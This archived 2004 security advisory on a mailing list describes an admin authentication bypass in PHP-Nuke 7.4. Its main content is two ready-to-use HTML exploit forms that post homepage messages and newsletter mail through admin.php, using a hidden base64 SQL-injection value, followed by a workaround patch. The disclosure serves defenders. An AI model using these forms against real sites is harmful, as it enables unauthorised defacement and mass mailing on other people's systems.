Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features |
|---|---|
| Date: | 12 Sep 2004 15:05:55 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - PHP-Nuke XSS Vulnerabilities Through AddMsg And Newsletter Features ------------------------------------------------------------------------ SUMMARY " <http://www.phpnuke.org/> PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and 100% interactive web site using databases". Two cross site scripting vulnerabilities allow an attacker to post a message in the newsletter mailing list and post global homepage messages as well. DETAILS Vulnerable Systems: * PHP-Nuke version 7.4 In the admin.php file there are improper user permission checks for the admin HTTP parameter passed. This allows an attacker to perform POST queries to the system with results that are not normally possible. In order to, for example, post global homepage messages, the following HTML form can be constructed: --------------------------------- Begin Code --------------------------------- <form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php"> <p>TITLE: <input type="text" name="add_title"> <br> CONTENT: <textarea name="add_content" rows=10 cols=50></textarea> <br> DATE: <input type="text" name="add_mdate"> <br> E-MAIL: <input type="text" name="add_expire"> <br> <input type="hidden" name="add_expire" value="0"> <br> <input type="hidden" name="add_active" value="1"> <br> <input type="hidden" name="add_view" value="1"> <br> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="addmsg"> </p> <p> <input type="submit" name="Submit" value="Post this message"> <br> </p> </form> ---------------------------------- End Code ---------------------------------- In order to inject a message into the newletter mailing list, construct the following form: --------------------------------- Begin Code --------------------------------- <form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php"> <p>TITLE: <input type="text" name="title"> <br> CONTENT: <textarea name="content" rows=10 cols=50></textarea> <br> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="massmail_send"> </p> <p> <input type="submit" name="Submit" value="Send to target site newsletter"> <br> </p> </form> ---------------------------------- End Code ---------------------------------- Patch Availability: There is no official patch but a small permission-based check workaround can be applied to admin.php: if ( !empty($HTTP_GET_VARS['admin']) ) { die("Shit! Mantra wins =)"); } if ( !empty($HTTP_POST_VARS['admin']) ) { die("Shit! Mantra wins =)"); } ADDITIONAL INFORMATION The information has been provided by <mailto:mantra@ntj.it> Pierquinto Manco. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] Oracle SYS_CONTEXT Procedure Buffer Overflow Vulnerability, SecuriTeam |
|---|---|
| Next by Date: | [EXPL] Cdrecord RSH SUID Shell Creation, SecuriTeam |
| Previous by Thread: | [NEWS] Oracle SYS_CONTEXT Procedure Buffer Overflow Vulnerability, SecuriTeam |
| Next by Thread: | [EXPL] Cdrecord RSH SUID Shell Creation, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |